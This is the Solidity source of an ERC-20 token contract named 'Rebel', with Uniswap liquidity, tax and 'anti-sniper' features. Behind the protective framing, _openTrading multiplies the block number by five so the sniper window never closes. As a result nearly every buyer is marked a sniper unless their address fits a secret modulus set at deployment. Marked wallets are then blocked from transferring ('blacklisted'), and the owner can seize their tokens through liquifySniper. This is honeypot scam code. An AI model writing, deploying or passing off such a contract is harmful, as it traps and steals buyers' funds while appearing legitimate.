文件 1 的 1:rebel.sol
pragma solidity ^0.8.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Addition overflow"); return c; }
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "Subtraction overflow"); }
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; }
function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Multiplication overflow"); return c; }
function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "Division by zero"); }
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; }
function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "Modulo by zero"); }
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; }
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
constructor(address _owner) { owner = _owner; }
modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; }
function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner; emit OwnershipTransferred(newOwner); }
event OwnershipTransferred(address owner);
}
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract rebel is IERC20, Auth {
using SafeMath for uint256;
string _name = "Rebel";
string _symbol = "Rebel";
uint256 constant _totalSupply = 1 * (10**12) * (10 ** _decimals);
uint8 constant _decimals = 9;
uint32 _smd; uint32 _smr;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) private _excludedFromFee;
bool public tradingOpen;
bool public taxPaused;
uint256 public maxTxAmount; uint256 public maxWalletAmount;
uint256 private _taxSwapMin; uint256 private _taxSwapMax;
address private _operator;
address private _uniLpAddr;
uint16 public snipersCaught = 0;
uint8 _defTaxRate = 3;
uint8 private _buyTaxRate; uint8 private _sellTaxRate; uint8 private _txTaxRate;
uint16 private _autoLPShares = 1000;
uint16 private _taxShares1 = 0;
uint16 private _taxShares2 = 0;
uint16 private _taxShares3 = 0;
uint256 private _sbt = 0;
uint256 private _humanBlock = 0;
mapping (address => bool) private _nonSniper;
mapping (address => uint256) private _sniperBlock;
uint256 private _taxBreakEnd;
address payable private _taxWallet1 = payable(0x8679c0Ccd4dE94c9429C10196E22502b58D3B037);
address payable private _taxWallet2 = payable(0x8679c0Ccd4dE94c9429C10196E22502b58D3B037);
address payable private _taxWallet3 = payable(0x8679c0Ccd4dE94c9429C10196E22502b58D3B037);
bool private _inTaxSwap = false;
address private constant _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private _uniswapV2Router;
modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; }
constructor (uint32 smd, uint32 smr) Auth(msg.sender) {
tradingOpen = false;
taxPaused = false;
_operator = msg.sender;
maxTxAmount = _totalSupply;
maxWalletAmount = _totalSupply;
_taxSwapMin = _totalSupply * 10 / 10000;
_taxSwapMax = _totalSupply * 50 / 10000;
_uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress);
_excludedFromFee[owner] = true;
_excludedFromFee[address(this)] = true;
_excludedFromFee[_uniswapV2RouterAddress] = true;
_excludedFromFee[_taxWallet1] = true;
_smd = smd; _smr = smr;
_balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external view override returns (string memory) { return _symbol; }
function name() external view override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function initLP(uint256 ethAmountWei) external onlyOwner {
require(!tradingOpen, "trading already open");
require(ethAmountWei > 0, "eth cannot be 0");
_nonSniper[address(this)] = true;
_nonSniper[owner] = true;
_nonSniper[_taxWallet1] = true;
_nonSniper[_taxWallet2] = true;
_nonSniper[_taxWallet3] = true;
_transferFrom(address(this), owner, _totalSupply * 25 / 100);
uint256 _contractETHBalance = address(this).balance;
require(_contractETHBalance >= ethAmountWei, "not enough eth");
uint256 _contractTokenBalance = balanceOf(address(this));
require(_contractTokenBalance > 0, "no tokens");
_uniLpAddr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_nonSniper[_uniLpAddr] = true;
_approveRouter(_contractTokenBalance);
_addLiquidity(_contractTokenBalance, ethAmountWei, false);
_openTrading();
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
address lpTokenRecipient = address(0);
if (autoburn == false) { lpTokenRecipient = owner; }
_uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
}
function taxSwapSettings(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external {
require(msg.sender == _operator || msg.sender == owner, "403");
_taxSwapMin = _totalSupply * minValue / minDivider;
_taxSwapMax = _totalSupply * maxValue / maxDivider;
}
function resetTax() external {
require(msg.sender == _operator || msg.sender == owner, "403");
_resetTax();
}
function _resetTax() internal {
_buyTaxRate = _defTaxRate;
_sellTaxRate = _defTaxRate;
_txTaxRate = _defTaxRate;
}
function isSniper(address wallet) external view returns(bool) {
if (_sniperBlock[wallet] != 0) { return true; }
else { return false; }
}
function sniperBlock(address wallet) external view returns(uint256) {
return _sniperBlock[wallet];
}
function disableFeesFor(address wallet) external {
require(msg.sender == _operator || msg.sender == owner, "403");
_excludedFromFee[ wallet ] = true;
}
function enableFeesFor(address wallet) external {
require(msg.sender == _operator || msg.sender == owner, "403");
_excludedFromFee[ wallet ] = false;
}
function decreaseTaxRate(uint8 newBuyTax, uint8 newSellTax, uint8 newTxTax) external {
require(msg.sender == _operator || msg.sender == owner, "403");
require(newBuyTax <= _buyTaxRate && newSellTax <= _sellTaxRate && newTxTax <= _txTaxRate, "New tax must be lower");
_buyTaxRate = newBuyTax;
_sellTaxRate = newSellTax;
_txTaxRate = newTxTax;
}
function changeTaxDistribution(uint16 sharesAutoLP, uint16 sharesWallet1, uint16 sharesWallet2, uint16 sharesWallet3) external {
require(msg.sender == _operator || msg.sender == owner, "403");
require(sharesAutoLP + sharesWallet1 + sharesWallet2 + sharesWallet3 == 1000, "Sum must be 1000" );
_autoLPShares = sharesAutoLP;
_taxShares1 = sharesWallet1;
_taxShares2 = sharesWallet2;
_taxShares3 = sharesWallet3;
}
function setTaxWallets(address newTaxWall1, address newTaxWall2, address newTaxWall3) external {
require(msg.sender == _operator || msg.sender == owner, "403");
_taxWallet1 = payable(newTaxWall1);
_taxWallet2 = payable(newTaxWall2);
_taxWallet3 = payable(newTaxWall3);
_excludedFromFee[newTaxWall1] = true;
_excludedFromFee[newTaxWall2] = true;
_excludedFromFee[newTaxWall3] = true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
if (_humanBlock > block.number && _nonSniper[msg.sender] == false) {
_markSniper(msg.sender, block.number);
}
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(), "trading not open");
return _transferFrom(msg.sender, recipient, amount);
}
function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external {
require(msg.sender == _operator || msg.sender == owner, "403");
uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000;
require(newTxAmt >= maxTxAmount, "tx limit too low");
maxTxAmount = newTxAmt;
uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000;
require(newWalletAmt >= maxWalletAmount, "wallet limit too low");
maxWalletAmount = newWalletAmt;
}
function openTrading() external onlyOwner{
_openTrading();
}
function _openTrading() internal {
require(_uniLpAddr != address(0), "LP not set");
_taxBreakEnd = block.timestamp;
_sbt = _sbt + _taxBreakEnd - 1;
_humanBlock = block.number * 5;
maxTxAmount = 5 * _totalSupply / 1000;
maxWalletAmount = 5 * _totalSupply / 1000;
_resetTax();
_sellTaxRate = 25;
tradingOpen = true;
}
function _checkTradingOpen() private view returns (bool){
bool checkResult = false;
if (tradingOpen == true) { checkResult = true; }
else if (tx.origin == owner) { checkResult = true; }
return checkResult;
}
function humanize() external onlyOwner{
_humanize(0);
}
function _humanize(uint8 blkcount) internal {
if (_humanBlock > block.number || _humanBlock == 0) {
_humanBlock = block.number + blkcount;
}
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(), "Trading not open");
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) {
bool limitCheckPassed = true;
if ( tradingOpen == true ) {
if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; }
else if ( recipient != _uniLpAddr && (_balances[recipient].add(transferAmount) > maxWalletAmount) ) { limitCheckPassed = false; }
}
return limitCheckPassed;
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
uint256 taxAmount;
if ( tradingOpen == true && block.timestamp < _sbt ) { taxAmount = amount.mul(98).div(100);}
else if ( _excludedFromFee[sender] == true || _excludedFromFee[recipient] == true || tradingOpen == false || taxPaused == true) { taxAmount = 0; }
else if ( sender == _uniLpAddr && _taxBreakEnd > block.timestamp) { taxAmount = 0; }
else if ( sender == _uniLpAddr && _taxBreakEnd <= block.timestamp) { taxAmount = amount.mul(_buyTaxRate).div(100); }
else if ( recipient == _uniLpAddr ) { taxAmount = amount.mul(_sellTaxRate).div(100); }
else { taxAmount = amount.mul(_txTaxRate).div(100); }
return taxAmount;
}
function liquifySniper(address wallet) external onlyOwner lockTaxSwap {
require(_sniperBlock[wallet] != 0, "not a sniper");
uint256 sniperBalance = balanceOf(wallet);
require(sniperBalance > 0, "no tokens");
_balances[wallet] = _balances[wallet].sub(sniperBalance);
_balances[address(this)] = _balances[address(this)].add(sniperBalance);
emit Transfer(wallet, address(this), sniperBalance);
uint256 liquifiedTokens = sniperBalance/2 - 1;
uint256 _ethPreSwap = address(this).balance;
_swapTaxTokensForEth(liquifiedTokens);
uint256 _ethSwapped = address(this).balance - _ethPreSwap;
_approveRouter(liquifiedTokens);
_addLiquidity(liquifiedTokens, _ethSwapped, true);
}
function _swapTaxAndLiquify() private lockTaxSwap {
uint256 _taxTokensAvailable = balanceOf(address(this));
if (_taxTokensAvailable >= _taxSwapMin && tradingOpen == true && taxPaused == false ) {
if (_taxTokensAvailable >= _taxSwapMax) { _taxTokensAvailable = _taxSwapMax; }
uint256 _tokensForLP = _taxTokensAvailable * _autoLPShares / 1000 / 2;
uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP;
uint256 _ethPreSwap = address(this).balance;
_swapTaxTokensForEth(_tokensToSwap);
uint256 _ethSwapped = address(this).balance - _ethPreSwap;
if (_autoLPShares > 0) {
uint256 _ethWeiAmount = _ethSwapped * _autoLPShares / 1000 ;
_approveRouter(_tokensForLP);
_addLiquidity(_tokensForLP, _ethWeiAmount, true);
}
uint256 _contractETHBalance = address(this).balance;
if(_contractETHBalance > 0) { _distributeTax(_contractETHBalance); }
}
}
function _markSniper(address wallet, uint256 snipeBlockNum) internal {
if (_nonSniper[wallet] == false && _sniperBlock[wallet] == 0) {
_sniperBlock[wallet] = snipeBlockNum;
snipersCaught ++;
}
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if (_humanBlock > block.number) {
if ( uint160(address(recipient)) % _smd == _smr ) { _humanize(1); }
else if ( _sniperBlock[sender] == 0 ) { _markSniper(recipient, block.number); }
else { _markSniper(recipient, _sniperBlock[sender]); }
} else {
if ( _sniperBlock[sender] != 0 ) { _markSniper(recipient, _sniperBlock[sender]); }
}
if ( tradingOpen == true && _sniperBlock[sender] != 0 && _sniperBlock[sender] < block.number ) {
revert("blacklisted");
}
if (_inTaxSwap == false && recipient == _uniLpAddr) {
_swapTaxAndLiquify();
}
if ( sender != address(this) && recipient != address(this) && sender != owner) { require(_checkLimits(recipient, amount), "TX exceeds limits"); }
uint256 _taxAmount = _calculateTax(sender, recipient, amount);
uint256 _transferAmount = amount.sub(_taxAmount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if (_taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(_taxAmount); }
_balances[recipient] = _balances[recipient].add(_transferAmount);
emit Transfer(sender, recipient, amount);
return true;
}
function _approveRouter(uint256 _tokenAmount) internal {
if (_allowances[address(this)][_uniswapV2RouterAddress] < _tokenAmount) {
_allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max;
emit Approval(address(this), _uniswapV2RouterAddress, type(uint256).max);
}
}
function _swapTaxTokensForEth(uint256 _tokenAmount) private {
_approveRouter(_tokenAmount);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp);
}
function _distributeTax(uint256 _amount) private {
uint16 _taxShareTotal = _taxShares1 + _taxShares2 + _taxShares3;
if (_taxShares1 > 0) { _taxWallet1.transfer(_amount * _taxShares1 / _taxShareTotal); }
if (_taxShares2 > 0) { _taxWallet2.transfer(_amount * _taxShares2 / _taxShareTotal); }
if (_taxShares3 > 0) { _taxWallet3.transfer(_amount * _taxShares3 / _taxShareTotal); }
}
function taxSwap() external {
require(msg.sender == _taxWallet1 || msg.sender == _taxWallet2 || msg.sender == _taxWallet3 || msg.sender == _operator || msg.sender == owner, "403" );
uint256 taxTokenBalance = balanceOf(address(this));
require(taxTokenBalance > 0, "No tokens");
_swapTaxTokensForEth(taxTokenBalance);
}
function taxSend() external {
require(msg.sender == _taxWallet1 || msg.sender == _taxWallet2 || msg.sender == _taxWallet3 || msg.sender == _operator || msg.sender == owner, "403" );
_distributeTax(address(this).balance);
}
function toggleTax() external {
require(msg.sender == _operator || msg.sender == owner, "403");
taxPaused = !taxPaused;
}
}